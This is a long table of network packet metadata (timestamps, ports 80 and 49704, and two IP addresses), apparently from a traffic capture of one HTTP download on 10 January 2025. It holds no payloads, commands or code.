Jan 10, 2025 14:35:07.230501890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.230514050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.230524063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.230525017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.230547905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.231612921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.236504078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.236525059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.236537933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.236558914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.236587048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.236659050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.236669064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.236680984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.236699104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.237258911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.237272024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.237283945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.237296104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.237324953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.238018036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.254343033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.269676924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.269699097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.269711018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.269761086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.269794941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.303551912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.303644896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.303683043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.303726912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.303940058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.303996086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.304299116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.304333925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.304368973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.304385900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.304404974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.304450989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.305143118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.305177927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.305212021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.305226088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.305248022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.305295944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.306021929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.306057930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.306150913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.306173086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.306186914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.306231022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.336510897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.336608887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.336644888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.336709023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.336930037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.336982012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.337102890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.337137938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.337172985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.337203979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.337209940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.337246895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.338278055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.338311911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.338362932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.338418007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.338457108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.338500023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.340667009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.340723038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.340774059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.340821981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.340858936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.340903044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.340985060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341037989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341072083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341075897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.341192007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341228008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341231108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.341262102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341295958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341300011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.341329098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341362953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.341367006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.342053890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342088938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342094898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.342123032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342155933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342165947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.342210054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342269897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.342525005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342561960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342592955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342602015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.342628002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342663050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.342669010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.343403101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.343439102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.343475103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.343509912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.343543053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.343549013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.343661070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.344116926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.344153881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.344188929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.344203949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.344223022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.344258070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.344280958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.345055103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.345105886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.345115900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.345141888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.345175982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.345185041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.345211029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.345244884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.345254898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.345973969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.346009970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.346040010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.346045017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.346081972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.346106052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.346117020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.346157074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.346903086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.346940994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.346975088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.346999884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.347011089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.347044945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.347068071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.347080946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.347130060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.347846985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.347883940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.347919941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.347937107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.347954988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.347990990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.348006964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.348764896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.348802090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.348817110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.348836899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.348870993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.348891020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.348906040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.348939896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.348952055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.349107027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.349709034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.349746943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.349767923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.349786043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.349822044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.349836111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.349855900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.349893093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.349904060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.350611925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.350650072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.350672960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.350701094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.350735903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.350744963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.350773096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.350821972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.351479053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.351516008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.351562977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.351563931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.351598024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.351633072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.351650000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.351670980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.351720095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.352219105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.352253914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.352289915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.352305889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.352325916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.352360010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.352379084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.352395058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.352442026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.372699976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.389888048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.389904022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.389914989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.389961958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.390074968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390086889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390131950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.390477896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390511990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390528917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.390547037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390597105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.390845060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390876055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390908957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390914917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.390944004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.390989065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.391386032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.391419888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.391453981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.391460896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.391488075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.391522884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.391535997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.409451008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.423310995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.423386097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.423419952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.423422098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.423470974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.423495054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.423527956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.423578978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.423820019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.423904896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.423938990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.423965931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.423974037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.424007893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.424038887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.424678087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.424714088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.424736977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.425004959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425040007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425071955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.425076962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425129890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.425529003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425560951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425595999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425607920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.425630093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425663948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425674915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.425697088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.425750017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.426448107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.426482916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.426517010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.426533937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.426551104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.426584959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.426598072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.426620007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.426664114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.427350998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.427386999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.427422047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.427455902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.427467108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.427490950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.427519083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.428241014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.428277016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.428304911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.428309917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.428344965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.428365946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.428375006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.428407907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.428436995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.428443909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.428497076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.429177999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.429213047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.429248095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.429263115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.429282904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.429316998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.429342031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.430078983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430114031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430141926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.430147886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430182934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430195093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.430217028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430252075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430280924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.430792093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430825949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430854082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.430859089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430893898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430927038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430927992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.430962086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430996895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.430998087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.431045055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.431673050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.431709051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.431742907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.431770086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.431777954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.431812048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.431834936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.431848049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.431895018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.432543993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.432579994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.432614088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.432640076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.432663918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.432697058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.432710886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.432734013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.432766914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.432780981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.433070898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.433387041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.433422089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.433449030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.433455944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.433491945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.433506012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.433526993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.433561087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.433577061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.433594942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 14:35:07.433650970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 14:35:07.434266090 CET	80	49704	193.143.1.205	192.168.2.5
